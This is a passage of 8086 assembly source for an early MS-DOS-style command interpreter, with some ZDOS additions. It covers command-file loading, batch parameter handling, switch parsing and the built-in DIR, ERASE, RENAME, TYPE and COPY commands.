RET10: RET
LOADCOM:
PUSH DS
MOV DS,[TRNSEG]
MOV DX,100H
MOV AH,SETDMA
INT 33
POP DS
IFDEF MSVER ;ZDOS Addition
MOV AL, 0
MOV [COMFCB], AL
ENDIF
MOV DX,OFFSET RESGROUP:COMFCB
MOV AH,OPEN
INT 33 ;Open COMMAND.COM
OR AL,AL
JZ READCOM
IFDEF MSVER ;ZDOS Addition Try A
MOV AL, 1
MOV [COMFCB], AL
MOV DX,OFFSET RESGROUP:COMFCB
MOV AH,OPEN
INT 33 ;Open COMMAND.COM
OR AL,AL
ENDIF
JZ READCOM
MOV DX,OFFSET RESGROUP:NEEDCOM
PROMPTCOM:
MOV AH,PRINTBUF
INT 33
MOV AX,0C07H ;Get char without testing or echo
INT 33
JMP SHORT LOADCOM
READCOM:
MOV WORD PTR[COMFCB+RR],OFFSET RESGROUP:TRANSTART
XOR AX,AX
MOV WORD PTR[COMFCB+RR+2],AX
IF IBMVER
NOP
NOP
NOP
ENDIF
IF MSVER
MOV [COMFCB], AL ;Use default drive
ENDIF
INC AX
MOV WORD PTR[COMFCB+RECLEN],AX
MOV CX,COMLEN
MOV DX,OFFSET RESGROUP:COMFCB
MOV AH,RDBLK
INT 33
OR AL,AL
JZ RET10
WRONGCOM:
MOV DX,OFFSET RESGROUP:COMBAD
JMP SHORT PROMPTCOM
CHKSUM:
CLD
PUSH DS
MOV DS,[TRNSEG]
MOV SI,100H
MOV CX,COMLEN
SHR CX,1
XOR DX,DX
CHK:
LODSW
ADD DX,AX
LOOP CHK
POP DS
RET
SETVECT:
MOV DX,OFFSET RESGROUP:LODCOM
MOV AX,2522H ;Set Terminate address
INT 21H
MOV DX,OFFSET RESGROUP:CONTC
MOV AX,2523H ;Set Ctrl-C address
INT 21H
MOV DX,OFFSET RESGROUP:DSKERR
MOV AX,2524H ;Set Hard Disk Error address
INT 33
MOV DX,OFFSET RESGROUP:RESIDENT
MOV AX,2527H ;Set Terminate and Stay Resident address
INT 33
RET
RESCODESIZE EQU $-ZERO
CODERES ENDS
;*******************************************************************
;START OF INIT PORTION
;This code is overlayed the first time the TPA is used.
INIT SEGMENT BYTE
ORG 0
ZERO = $
CONPROC:
MOV SP,OFFSET RESGROUP:RSTACK
IF HIGHMEM
MOV AX,WORD PTR DS:[2]
SUB AX,((RESCODESIZE+RESDATASIZE)+15)/16 ;Subtract size of resident
MOV WORD PTR DS:[2],AX
MOV ES,AX
MOV SI,100H
MOV DI,SI
MOV CX,((RESCODESIZE+RESDATASIZE)-100H+1)/2 ;Length of resident in words
REP MOVSW ;Move to end of memory
MOV DS,AX
MOV [LTPA],CS
ENDIF
IF NOT HIGHMEM
MOV AX,CS
ADD AX,((RESCODESIZE+RESDATASIZE)+15)/16 ;Compute segment of TPA
MOV [LTPA],AX
MOV AX,WORD PTR DS:[2]
ENDIF
MOV [MYSEG],DS
MOV [MEMSIZ],AX
SUB AX,TRNLEN ;Subtract size of transient
MOV [TRNSEG],AX
CALL SETVECT
CALL LOADCOM
CALL CHKSUM
MOV [SUM],DX
IF MSVER
IF HIGHMEM
PUSH DS
PUSH CS
POP DS
ENDIF
MOV DX,OFFSET RESGROUP:HEADER
MOV AH,PRINTBUF
INT 33
IF HIGHMEM
POP DS
ENDIF
ENDIF
MOV DX,OFFSET RESGROUP:BATFCB
MOV AH,OPEN
INT 33 ;See if AUTOEXEC.BAT exists
MOV WORD PTR[BATFCB+RECLEN],1 ;Set record length to 1
OR AL,AL ;Zero means file found
JZ DRV0
MOV [BATCH],0 ;Not found--turn off batch job
MOV AX,OFFSET TRANGROUP:DATINIT
MOV WORD PTR[INITADD],AX
MOV AX,[TRNSEG]
MOV WORD PTR[INITADD+2],AX
CALL DWORD PTR DS:[INITADD]
IF IBMVER
MOV DX,OFFSET RESGROUP:HEADER
MOV AH,PRINTBUF
INT 33
ENDIF
DRV0:
JMP HAVCOM
IF MSVER
HEADER DB 13,10,13,10,"Microsoft DOS",13,10
IF HIGHMEM
DB "Version 1.25AH (C)Copyright Microsoft 1981, 1982, 2020",13,10,"$"
ELSE
DB "Version 1.25A (C)Copyright Microsoft 1981, 1982, 2020",13,10,"$"
ENDIF
ENDIF
IF IBMVER
HEADER DB 13,10,13,10,"The IBM Personal Computer DOS",13,10
DB "Version 1.10A (C)Copyright IBM Corp 1981, 1982, 2020",13,10,"$"
DB "Licensed Material - Program Property of IBM"
ENDIF
INITSIZE EQU $-ZERO
INIT ENDS
;This TAIL segment is used to produce a PARA aligned label in the resident
; group which is the location where the transient segments will be loaded
; initialy.
TAIL SEGMENT PARA
ORG 0
TRANSTART LABEL WORD
TAIL ENDS
;********************************************************************
;START OF TRANSIENT PORTION
;This code is loaded at the end of memory and may be overwritten by
;memory-intensive user programs.
TRANCODE SEGMENT PARA
ASSUME CS:TRANGROUP,DS:TRANGROUP,ES:TRANGROUP,SS:TRANGROUP
WSWITCH EQU 1 ;Wide display during DIR
PSWITCH EQU 2 ;Pause (or Page) mode during DIR
VSWITCH EQU 4 ;Verify during COPY
ASWITCH EQU 8 ;ASCII mode during COPY
BSWITCH EQU 10H ;Binary mode during COPY
ORG 0
ZERO = $
ORG 100H ;Allow for 100H parameter area
SETDRV:
MOV AH,SELDRV
INT 21H
COMMAND:
CLD
MOV AX,CS
MOV SS,AX
MOV SP,OFFSET TRANGROUP:STACK
MOV ES,AX
MOV DS,AX
STI
MOV AX,46*100H
MOV DL,0
INT 33 ;Turn off verify after write
MOV AX,CS ;Get segment we're in
SUB AX,[TPA] ;AX=size ot TPA in paragraphs
MOV DX,16
MUL DX ;DX:AX=size of TPA in bytes
OR DX,DX ;See if over 64K
JZ SAVSIZ ;OK if not
MOV AX,-1 ;If so, limit to 65535 bytes
SAVSIZ:
MOV [BYTCNT],AX ;Max no. of bytes that can be buffered
CALL CRLF2
GETCOM:
MOV AH,GETDRV
INT 21H
MOV [CURDRV],AL
ADD AL,"A"
CALL OUT ;Print letter for default drive
MOV AL,SYM
CALL OUT
MOV DS,[RESSEG] ;All batch work must use resident seg.
ASSUME DS:RESGROUP
TEST [BATCH],-1
JNZ READBAT
PUSH CS
POP DS ;Need local segment to point to buffer
ASSUME DS:TRANGROUP
MOV DX,OFFSET TRANGROUP:COMBUF
MOV AH,INBUF
INT 21H ;Get a command
JMP DOCOM
;All batch proccessing has DS set to segment of resident portion
ASSUME DS:RESGROUP
NEEDPARM:
CALL GETBATBYT
CMP AL,"%" ;Check for two consecutive %
JZ SAVBATBYT
CMP AL,13 ;Check for end-of-line
JZ SAVBATBYT
SUB AL,"0"
JB RDBAT ;Ignore parameter reference if invalid
CMP AL,9
JA RDBAT
CBW
MOV SI,AX
SHL SI,1 ;Two bytes per entry
MOV SI,[SI+OFFSET RESGROUP:PARMTAB] ;Get pointer to corresponding parameter
CMP SI,-1 ;Check if parameter exists
JZ RDBAT ;Ignore if it doesn't
MOV AH,OUTCH
RDPARM:
LODSB ;From resident segment
CMP AL,0DH ;Check for end of parameter
JZ RDBAT
STOSB ;To transient segment
MOV DL,AL
INT 33 ;Display paramters too
JMP SHORT RDPARM
PROMPTBAT:
MOV AH,PRINTBUF
MOV DX,OFFSET RESGROUP:NEEDBAT
INT 33 ;Prompt for batch file
MOV AH,PRINTBUF
MOV DX,OFFSET RESGROUP:PROMPT
INT 33
MOV AX,0C00H+INCHAR
INT 33
JMP COMMAND
BADCOMJ1:JMP BADCOM
READBAT:
MOV DX,OFFSET RESGROUP:BATFCB
MOV AH,OPEN
INT 33 ;Make sure batch file still exists
OR AL,AL
JNZ PROMPTBAT ;If OPEN fails, prompt for disk
MOV WORD PTR [BATFCB+RECLEN],1
MOV DX,OFFSET RESGROUP:BATBYT
MOV AH,SETDMA
INT 33
MOV DI,OFFSET TRANGROUP:COMBUF+2
RDBAT:
CALL GETBATBYT
CMP AL,"%" ;Check for parameter
JZ NEEDPARM
SAVBATBYT:
STOSB
CALL OUT ;Display batched command line
CMP AL,0DH
JNZ RDBAT
SUB DI,OFFSET TRANGROUP:COMBUF+3
MOV AX,DI
MOV ES:[COMBUF+1],AL ;Set length of line
CALL GETBATBYT ;Eat linefeed
PUSH CS
POP DS ;Go back to local segment
ASSUME DS:TRANGROUP
DOCOM:
;All segments are local for command line processing
MOV AL,10
CALL OUT
MOV SI,OFFSET TRANGROUP:COMBUF+2
MOV DI,OFFSET TRANGROUP:IDLEN
MOV AX,2901H ;Make FCB with blank scan-off
INT 21H
CMP AL,1 ;Check for ambiguous command name
JZ BADCOMJ1 ;Ambiguous commands not allowed
CMP AL,-1
JNZ DRVGD
JMP DRVBAD
DRVGD:
MOV AL,[DI]
MOV [SPECDRV],AL
MOV AL," "
MOV CX,9
INC DI
REPNE SCASB ;Count no. of letters in command name
MOV AL,9
SUB AL,CL
MOV [IDLEN],AL
MOV DI,81H
MOV CX,0
PUSH SI
COMTAIL:
LODSB
STOSB ;Move command tail to 80H
CMP AL,13
LOOPNZ COMTAIL
NOT CL
MOV BYTE PTR DS:[80H],CL
POP SI
;If the command has 0 parameters must check here for
;any switches that might be present.
;SI -> first character after the command.
MOV [FLAGER],0 ;Set error flag before any calls to switch
CALL SWITCH ;Is the next character a "/"
MOV [COMSW],AX
MOV DI,FCB
MOV AX,2901H
INT 21H
MOV [PARM1],AL ;Save result of parse
CALL SWITCH
MOV [ARG1S],AX
MOV DI,FCB+10H
MOV AX,2901H
INT 21H ;Parse file name
MOV [PARM2],AL ;Save result
CALL SWITCH
MOV [ARG2S],AX
MOV AL,[IDLEN]
MOV DL,[SPECDRV]
OR DL,DL ;Check if drive was specified
JZ OK
JMP DRVCHK
OK: DEC AL ;Check for null command
JNZ FNDCOM
JMP GETCOM
RETSW:
XCHG AX,BX ;Put switches in AX
RET
SWITCH:
XOR BX,BX ;Initialize - no switches set
SWLOOP:
CALL SCANOFF ;Skip any delimiters
CMP AL,"/" ;Is it a switch specifier?
JNZ RETSW ;No -- we're finished
INC SI ;Skip over "/"
CALL SCANOFF
INC SI
;Convert lower case input to upper case
CMP AL,"a"
JB SAVCHR
CMP AL,"z"
JA SAVCHR
SUB AL,20H ;Lower-case changed to upper-case
SAVCHR:
MOV DI,OFFSET TRANGROUP:SWLIST
MOV CX,SWCOUNT
REPNE SCASB ;Look for matching switch
JNZ BADSW
MOV AX,1
SHL AX,CL ;Set a bit for the switch
OR BX,AX
JMP SHORT SWLOOP
BADSW:
MOV [FLAGER],1 ;Record error in switch
JMP SHORT SWLOOP
SWLIST DB "BAVPW"
SWCOUNT EQU $-SWLIST
DRVBAD:
MOV DX,OFFSET TRANGROUP:BADDRV
JMP ERROR
FNDCOM:
MOV SI,OFFSET TRANGROUP:COMTAB ;Prepare to search command table
MOV CH,0
FINDCOM:
MOV DI,OFFSET TRANGROUP:IDLEN
MOV CL,[SI]
JCXZ EXTERNAL
REPE CMPSB
LAHF
ADD SI,CX ;Bump to next position without affecting flags
SAHF
LODSB ;Get flag for drive check
MOV [CHKDRV],AL
LODSW ;Get address of command
JNZ FINDCOM
MOV DX,AX
CMP [CHKDRV],0
JZ NOCHECK
MOV AL,[PARM1]
OR AL,[PARM2] ;Check if either parm. had invalid drive
CMP AL,-1
JZ DRVBAD
NOCHECK:CALL DX
COMJMP: JMP COMMAND
BADCOMJ:JMP BADCOM
SETDRV1:
JMP SETDRV
DRVCHK:
DEC DL ;Adjust for correct drive number
DEC AL ;Check if anything else is on line
JZ SETDRV1
EXTERNAL:
MOV AL,[SPECDRV]
MOV [IDLEN],AL
MOV WORD PTR[COM],4F00H+"C" ;"CO"
MOV BYTE PTR[COM+2],"M"
MOV DX,OFFSET TRANGROUP:IDLEN
MOV AH,OPEN
INT 33 ;Check if command to be executed
MOV [FILTYP],AL ;0 for COM files, -1 for EXE files
OR AL,AL
JZ EXECUTE
MOV WORD PTR[COM],5800H+"E" ;"EX"
MOV BYTE PTR[COM+2],"E"
INT 33 ;Check for EXE file
OR AL,AL
JZ EXECUTE
MOV WORD PTR[COM],4100H+"B" ;"BA"
MOV BYTE PTR[COM+2],"T"
INT 33 ;Check if batch file to be executed
OR AL,AL
JNZ BADCOMJ
BATCOM:
;Batch parameters are read with ES set to segment of resident part
MOV ES,[RESSEG]
ASSUME ES:RESGROUP
MOV DI,OFFSET RESGROUP:PARMTAB
MOV AX,-1
MOV CX,10
REP STOSW ;Zero parameter pointer table
MOV SI,OFFSET TRANGROUP:COMBUF+2
MOV DI,OFFSET RESGROUP:PARMBUF
MOV BX,OFFSET RESGROUP:PARMTAB
EACHPARM:
CALL SCANOFF
CMP AL,0DH
JZ HAVPARM
MOV ES:[BX],DI ;Set pointer table to point to actual parameter
INC BX
INC BX
MOVPARM:
LODSB
CALL DELIM
JZ ENDPARM ;Check for end of parameter
STOSB
CMP AL,0DH
JZ HAVPARM
JMP SHORT MOVPARM
ENDPARM:
MOV AL,0DH
STOSB ;End-of-parameter marker
CMP BX,OFFSET RESGROUP:PARMTAB+20 ;Maximum number of parameters?
JB EACHPARM
HAVPARM:
MOV SI,OFFSET TRANGROUP:IDLEN
MOV DI,OFFSET RESGROUP:BATFCB
MOV CX,16
REP MOVSW ;Move into private batch FCB
XOR AX,AX
PUSH ES
POP DS ;Simply batch FCB setup
ASSUME DS:RESGROUP
MOV WORD PTR[BATFCB+RR],AX
MOV WORD PTR[BATFCB+RR+2],AX ;Zero RR field
INC AX
MOV WORD PTR[BATFCB+RECLEN],AX ;Set record length to 1 byte
MOV [BATCH],AL ;Flag batch job in progress
JMP COMMAND
ASSUME DS:TRANGROUP,ES:TRANGROUP
EXECUTE:
MOV AX,WORD PTR[IDLEN+16]
OR AX,WORD PTR[IDLEN+18] ;See if zero length
JZ BADCOM ;If so, error
XOR AX,AX
MOV WORD PTR[IDLEN+RR],AX
MOV WORD PTR[IDLEN+RR+2],AX ;Set RR field to zero
INC AX
MOV WORD PTR[IDLEN+RECLEN],AX ;Set record length field to 1
MOV DX,[TPA]
MOV BX,DX
MOV AH,SETBASE
INT 21H
TEST [FILTYP],-1 ;Check if file is COM or EXE
JZ COMLOAD
JMP EXELOAD
COMLOAD:PUSH DS
MOV DS,DX
MOV DX,100H
MOV AH,SETDMA
INT 21H
POP DS
MOV CX,[BYTCNT]
SUB CX,100H
MOV DX,OFFSET TRANGROUP:IDLEN
MOV AH,RDBLK
INT 21H
DEC AL
MOV DX,OFFSET TRANGROUP:TOOBIG
JNZ ERROR
;Set up exit conditions
MOV CX,[BYTCNT]
MOV DS,BX
MOV ES,BX
CLI
MOV SS,BX
MOV SP,CX
STI
SUB CX,100H ;Allow some stack space
XOR AX,AX
PUSH AX
MOV AX,100H
PUSH BX
PUSH AX
CALL SETUP
XXX PROC FAR
RET
XXX ENDP
BADCOM:
MOV DX,OFFSET TRANGROUP:BADNAM
ERROR:
MOV AH,PRINTBUF
INT 21H
JMP COMMAND
CHKCNT:
TEST [FILECNT],-1
JNZ ENDDIR
MOV DX,OFFSET TRANGROUP:NOTFND
JMP ERROR
ENDDIR:
;Make sure last line ends with CR/LF
MOV AL,[LINLEN]
CMP AL,[LINCNT] ;Will be equal if just had CR/LF
JZ MESSAGE
CALL CRLF2
MESSAGE:
MOV SI,[FILECNT]
XOR DI,DI
CALL DISP32BITS
MOV DX,OFFSET TRANGROUP:DIRMES
MOV AH,PRINTBUF
INT 21H
RET
CATALOG:
MOV AL,"?" ;*.* is default file spec.
MOV DI,5DH
MOV CX,11
REP STOSB
MOV SI,81H
CALL SWITCH
MOV DI,5CH
MOV AX,41*100H+0DH ;Parse with default name and extension
INT 33
;Begin by processing any switches that may have been specified.
;BITS will contain any information about switches that was
;found when the command line was parsed.
SETSWT:
MOV AX,[COMSW] ;Get switches from command
OR AX,[ARG1S] ;OR in switches from first parameter
MOV [BITS],AX
MOV BYTE PTR[FULLSCR],LINPERPAG
TEST AL,1 ;Look for /W
MOV AL,NORMPERLIN
JZ DIR
MOV AL,WIDEPERLIN
DIR:
MOV [LINLEN],AL ;Set number of entries per line
MOV [LINCNT],AL
MOV [FILECNT],0 ;Keep track of how many files found
MOV DX,OFFSET TRANGROUP:DIRBUF ;Set Disk transfer address
MOV AH,SETDMA
INT 21H
MOV AH,SRCHFRST
SHOWDIR:
MOV DX,5CH ;DX -> Unopened FCB
INT 21H ;Search for a file to match FCB
INC AL ;FF = file not found
JNZ AGAIN ;Either an error or we are finished
JMP CHKCNT
AGAIN:
INC [FILECNT] ;Keep track of how many we find
MOV SI,OFFSET TRANGROUP:DIRBUF+1 ;SI -> information returned by sys call
CALL SHONAME
TEST BYTE PTR[BITS],1 ;/W set?
JNZ NEXENT ;If so, no size, date, or time
CALL DISPSIZE ;Print size of file
CALL TWOSPC
MOV AX,WORD PTR[DIRBUF+25] ;Get date
OR AX,AX
JZ NEXENT ;Skip if no date
MOV DX,AX
MOV CL,5
SHR AX,CL ;Align month
AND AL,0FH
MOV BH,"0"-" " ;Enable zero suppression
CALL OUT2
MOV AL,"-"
CALL OUT
MOV AL,DL
AND AL,1FH ;Mask to day
CALL OUT2
MOV AL,"-"
CALL OUT
MOV AL,DH
SHR AL,1 ;Align year
ADD AX,80 ;Relative 1980
CMP AL,100
JB MILLENIUM
SUB AL,100
MILLENIUM:
CALL OUT2
MOV BX,WORD PTR[DIRBUF+23] ;Get time
OR BX,BX ;Time field present?
JZ NEXENT
CALL TWOSPC
SHR BX,1
SHR BX,1
SHR BX,1
SHR BL,1
SHR BL,1 ;Hours in BH, minutes in BL
MOV AL,BH
MOV DH,"a" ;Assume A.M.
CMP AL,12 ;In the afternoon?
JB MORN
MOV DH,"p"
JE MORN
SUB AL,12 ;Keep it to 12 hours or less
MORN:
OR AL,AL ;Before 1 am?
JNZ SHOHOURS
MOV AL,12
SHOHOURS:
MOV BH,"0"-" " ;Enable zero suppression
CALL OUT2
MOV AL,":"
CALL OUT
MOV AL,BL ;Output minutes
CALL OUT2
MOV AL,DH ;Get "a" or "p"
CALL OUT
NEXENT:
DEC [LINCNT]
JNZ SAMLIN
NEXLIN:
MOV AL,[LINLEN]
MOV [LINCNT],AL
CALL CRLF2
TEST BYTE PTR[BITS],2 ;/P switch present?
JZ SCROLL ;If not, just continue
DEC BYTE PTR[FULLSCR]
JNZ SCROLL
MOV BYTE PTR[FULLSCR],LINPERPAG
MOV AH,PRINTBUF
MOV DX,OFFSET TRANGROUP:PAUSMES
INT 33
MOV AX,0C08H ;Wait for any character to be typed
INT 21H
CALL CRLF2
SCROLL:
MOV AH,SRCHNXT
JMP SHOWDIR
SAMLIN:
MOV AL,9 ;Output a tab
CALL OUT
JMP SHORT SCROLL
SHONAME:
MOV CX,8
CALL OUTCNT
CALL ONESPC
MOV CX,3
OUTCNT:
LODSB
CALL OUT
LOOP OUTCNT
RET
TWOSPC:
CALL ONESPC
ONESPC:
MOV AL," "
JMP OUT
CRLF2:
MOV AL,13
CALL OUT
MOV AL,10
JMP OUT
DISPSIZE:
MOV SI,WORD PTR[DIRBUF+29]
MOV DI,WORD PTR[DIRBUF+31]
DISP32BITS:
;Prints the 32-bit number DI:SI on the console in decimal. Uses a total
;of 9 digit positions with leading blanks.
XOR AX,AX
MOV BX,AX
MOV BP,AX
MOV CX,32
CONVLP:
SHL SI,1
RCL DI,1
XCHG AX,BP
CALL CONVWRD
XCHG AX,BP
XCHG AX,BX
CALL CONVWRD
XCHG AX,BX
ADC AL,0
LOOP CONVLP
; Conversion complete. Print 9-digit number.
MOV CX,1810H ;Allow leading zero blanking for 8 digits
XCHG DX,AX
CALL DIGIT
XCHG AX,BX
CALL OUTWORD
XCHG AX,BP
OUTWORD:
PUSH AX
MOV DL,AH
CALL OUTBYTE
POP DX
OUTBYTE:
MOV DH,DL
SHR DL,1
SHR DL,1
SHR DL,1
SHR DL,1
CALL DIGIT
MOV DL,DH
DIGIT:
AND DL,0FH
JZ BLANKZER
MOV CL,0
BLANKZER:
DEC CH
AND CL,CH
OR DL,30H
SUB DL,CL
MOV AH,OUTCH
INT 21H
RET
CONVWRD:
ADC AL,AL
DAA
XCHG AL,AH
ADC AL,AL
DAA
XCHG AL,AH
RET20: RET
ERASE:
MOV CX,11
MOV SI,FCB+1
AMBSPEC:
LODSB
CMP AL,"?"
JNZ ALLFIL
LOOP AMBSPEC
ALLFIL:
CMP CX,0
JNZ NOPRMPT
ASKAGN:
MOV DX,OFFSET TRANGROUP:SUREMES ;"Are you sure (Y/N)?"
MOV AH,PRINTBUF
INT 21H
MOV AX,0C00H+INCHAR
INT 21H
AND AL,5FH
CMP AL,"N"
JZ RET20
CMP AL,"Y"
CALL CRLF2
JZ NOPRMPT
JMP SHORT ASKAGN
NOPRMPT:
MOV AH,DELETE
MOV BX,OFFSET TRANGROUP:NOTFND
CMP BYTE PTR DS:[FCB+1]," " ;Check if parameter exists
JMP SHORT OPFILE
RENAME:
MOV AH,RENAM
MOV BX,OFFSET TRANGROUP:RENERR
CMP BYTE PTR DS:[FCB+16+1]," " ;Check if parameter exists
OPFILE:
MOV DX,OFFSET TRANGROUP:MISNAM
JZ ERRJ ;Error if missing parameter
MOV DX,FCB
INT 21H
INC AL
JNZ RET20
MOV DX,BX
ERRJ: JMP ERROR
TYPEFIL:
MOV DS,[TPA]
XOR DX,DX
MOV AH,SETDMA
INT 21H
PUSH CS
POP DS
MOV DX,FCB
MOV AH,OPEN
INT 21H
OR AL,AL
MOV DX,OFFSET TRANGROUP:NOTFND
JNZ ERRJ
XOR AX,AX
MOV WORD PTR DS:[FCB+RR],AX ;Set RR field
MOV WORD PTR DS:[FCB+RR+2],AX
INC AX
MOV WORD PTR DS:[FCB+RECLEN],AX ;Set record length
MOV ES,[TPA]
TYPELP:
MOV DX,FCB
MOV CX,[BYTCNT]
MOV AH,RDBLK
INT 21H
JCXZ RET30
XOR SI,SI ;Start at 0 in TPA
OUTLP:
LODS BYTE PTR ES:[SI] ;In TPA segment
CMP AL,1AH
JZ RET30
MOV AH,OUTCH
MOV DL,AL
INT 21H
LOOP OUTLP
JMP SHORT TYPELP
RET30: RET ;Need a nearby RET
COPY:
XOR AX,AX
MOV [PLUS],AL ;Will keep track of "+"s
MOV [FILECNT],AX
MOV SI,81H ;Point to input line
CALL SWITCH ;Skip over switches on command
MOV BP,AX
MOV DI,FCB
CALL PARSNAM ;Scan first source
MOV [PARM1],DL ;Save ambiguous flag
MOV [SRCPT],SI ;Save pointer to command line
;Parse each name to find destination and check for /V switch
SCANNAM:
CALL PARSE
JNZ SCANNAM
GETDEST:
MOV DI,OFFSET TRANGROUP:DEST
MOV BX,BP ;Remeber switches so far
XOR BP,BP ;Must have dest. swtiches alone
CALL PARSNAM
MOV [ARG2S],BP ;Remember switches on destination
JNZ HAVDESTNAM ;File name present?
INC DI ;Point to file name spot
MOV AL,"?" ;Substitute *.*
MOV CX,11
REP STOSB
HAVDESTNAM:
OR BX,BP ;BX = all switches combined
AND BL,VSWITCH ;Verify requested?
JZ NOVER
MOV AX,46*100H+1 ;Set verify
MOV DL,0
INT 33
NOVER:
MOV DI,OFFSET TRANGROUP:DESTNAME
MOV SI,OFFSET TRANGROUP:DEST+1
MOV BX,FCB+1
CALL BUILDNAME ;See if we can make it unambiguous
MOV DI,OFFSET TRANGROUP:DESTNAME
MOV AL,"?"
MOV CX,11
REPNE SCASB ;Scan for "?" to see if ambiguous
MOV AL,1 ;Flag if ambig.
JZ AMBIG
DEC AX ;AL=0 if unambig.
AMBIG:
MOV DL,AL
MOV AH,[PLUS] ;1=found "+"
XOR AL,1 ;0=ambig, 1=unambig destination
AND AL,[PARM1] ;Source ambig. AND dest unambig.
OR AL,AH ;OR found "+" means concatenation
MOV [ASCII],AL ;Concatenation implies ASCII mode
MOV [INEXACT],AL ;ASCII implies inexact copy
SHL AL,1
OR AL,DL ;Combine multiple and concat flags
MOV [PARM2],AL
MOV AL,BYTE PTR[COMSW]
CALL SETASC ;Check /A,/B on command
MOV AL,BYTE PTR[ARG1S]
CALL SETASC ;Check for ASCII on first filename
MOV BYTE PTR[COMSW],AL ;Save starting switch values
MOV AH,SRCHFRST
CALL SEARCH ;Search for first source name
MULTDEST:
JZ FIRSTSRC ;Find a first source name?
TEST [PARM2],1 ;If multiple, we're done
JNZ ENDCOPY
XOR AX,AX
MOV [NXTADD],AX
MOV [CFLAG],AL ;Flag nothing read yet
NEXTSNG:
MOV DI,FCB
MOV SI,[SRCPT]
CALL PARSESRC ;Parse next file name into FCB
MOV [PARM1],DL ;Remember if it's ambiguous
MOV [SRCPT],SI
JZ SNGCLOS
MOV AH,SRCHFRST
CALL SEARCH ;Search for new file name
JNZ NEXTSNG ;If none, skip it and move to next name
READSNG:
CALL CHECKREAD
SNGLOOP:
CALL SEARCHNEXT ;See if any more of this name
JZ READSNG
JMP SHORT NEXTSNG
SNGCLOS:
CALL CLOSEFIL
ENDCOPY:
MOV SI,[FILECNT]
XOR DI,DI
CALL DISP32BITS
MOV DX,OFFSET TRANGROUP:COPIED
MOV AH,PRINTBUF
INT 21H
JMP COMMAND ;Stack could be messed up
FIRSTSRC:
MOV SI,OFFSET TRANGROUP:DIRBUF+1
MOV DI,OFFSET TRANGROUP:SOURCE
MOV CX,11
REP MOVSB ;Copy first source name to SOURCE
MOV SI,OFFSET TRANGROUP:DESTNAME
MOV DI,OFFSET TRANGROUP:DEST+1
MOV BX,OFFSET TRANGROUP:SOURCE
CALL BUILDNAME ;Build destination name
XOR AX,AX
MOV [NXTADD],AX
MOV [CFLAG],AL
MOV [APPEND],AL
MOV [NOWRITE],AL
TEST [PARM2],1 ;Multiple destinations?
JZ NOPRT
MOV SI,OFFSET TRANGROUP:DIRBUF+1
CALL SHONAME ;If so, show first source
CALL CRLF2
NOPRT:
CALL COMPNAME ;Source and dest. the same?
JNZ DOREAD ;If not, read source in
TEST [PARM2],2 ;Concatenation?
MOV DX,OFFSET TRANGROUP:OVERWR
JZ COPERRJ ;If not, overwrite error
MOV [APPEND],1 ;Set physical append
MOV AH,OPEN
MOV DX,OFFSET TRANGROUP:DEST
INT 33 ;Open (existing) destination
CMP [ASCII],0 ;ASCII flag set?
JZ BINARYAPP
;ASCII append. Must find logical EOF, then seek there with dest. FCB
MOV [NOWRITE],1
CALL READIN ;Find EOF
CALL FLSHFIL ;Seek there
MOV [NOWRITE],0
CALL FLSHFIL ;Truncate file
JMP SHORT SNGLCHK
SNGLOOPJ:JMP SNGLOOP
COPERRJ:JMP COPERR
BINARYAPP:
MOV WORD PTR[DEST+RECLEN],1 ;Set record length to 1
MOV SI,OFFSET TRANGROUP:DEST+16 ;Point to file size
MOV DI,OFFSET TRANGROUP:DEST+RR
MOVSW
MOVSW ;Seek to end of file
MOV [CFLAG],1
JMP SHORT SNGLCHK
DOREAD:
CALL READIN
SNGLCHK:
TEST [PARM2],1 ;Single or multiple destinations?
JZ SNGLOOPJ
MOV SI,[SRCPT]
MULTAPP:
CALL PARSE
JZ MULTCLOS
PUSH SI
MOV SI,OFFSET TRANGROUP:DIRBUF+1
MOV DI,SI
MOV BX,OFFSET TRANGROUP:SOURCE
CALL BUILDNAME
CALL CHECKREAD
POP SI
JMP SHORT MULTAPP
MULTCLOS:
CALL CLOSEFIL
MOV AL,BYTE PTR[COMSW]
MOV [ASCII],AL ;Restore ASCII flag
CALL SEARCHNEXT
JMP MULTDEST
PARSE:
MOV DI,OFFSET TRANGROUP:DIRBUF
PARSESRC:
CALL SCANOFF
CMP AL,"+"
JNZ RETZF
MOV [PLUS],1 ;Keep track of "+" signs
INC SI ;Skip over it
PARSNAM:
MOV AX,2901H
INT 33 ;Parse file name
CMP AL,-1 ;Illegal?
MOV DX,OFFSET TRANGROUP:BADDRV
JZ COPERRJ
XCHG AX,DX ;Save parse flag in DL
MOV AL,BYTE PTR[DI] ;Get drive number
OR AL,AL ;Is it default?
JNZ PARSW
MOV AL,[CURDRV] ;Substitute actual drive
INC AX
MOV BYTE PTR[DI],AL
PARSW:
PUSH BX
PUSH DI
CALL SWITCH ;Process switches
OR BP,AX ;Combine all switches
CALL SETASC ;Check for /A or /B
POP DI
POP BX
CMP BYTE PTR[DI+1]," " ;Did we even get a file name?
RET
RETZF:
XOR AX,AX
RET35: RET
SEARCHNEXT:
MOV AL,[PARM1] ;Is name ambiguous?
DEC AL
JNZ RET35 ;Don't perform search if not
MOV AH,SRCHNXT
SEARCH:
PUSH AX
MOV AH,SETDMA
MOV DX,OFFSET TRANGROUP:DIRBUF
INT 33 ;Put result of search in DIRBUF
POP AX ;Restore search first/next command
MOV DX,FCB
INT 33 ;Do the search
OR AL,AL
RET
SETASC:
;Given switch vector in AX,
; Set ASCII switch if /A is set
; Clear ASCII switch if /B is set
; Leave ASCII unchanged if neither or both are set
; Also sets INEXACT if ASCII is ever set. AL = ASCII on exit, flags set
AND AL,ASWITCH+BSWITCH
JPE LOADSW ;PE means both or neither are set
AND AL,ASWITCH
MOV [ASCII],AL
OR [INEXACT],AL
LOADSW:
MOV AL,[ASCII]
OR AL,AL
RET
BUILDNAME:
; [SI] = Ambiguous input file name
; [BX] = Source of replacement characters
; [DI] = Destination
; File name is copied from [SI] to [DI]. If "?"s are encountered,
; they are replaced with the character in the same position at [BX].
MOV CX,11
BUILDNAM:
LODSB
CMP AL,"?"
JNZ NOTAMBIG
MOV AL,BYTE PTR[BX]
NOTAMBIG:
STOSB
INC BX
LOOP BUILDNAM
RET
COMPNAME:
MOV SI,OFFSET TRANGROUP:DEST
MOV DI,OFFSET TRANGROUP:DIRBUF
MOV CX,6
REPE CMPSW
RET
CHECKREAD:
;Read file in (with READIN) if not identical to destination
CALL COMPNAME ;See if source and destination the same
JNZ READIN
CMP [APPEND],0 ;If physical append, it's OK
JNZ RET40
MOV DX,OFFSET TRANGROUP:LOSTERR ;Tell him he's not going to get it
MOV AH,PRINTBUF
INT 33
RET40: RET
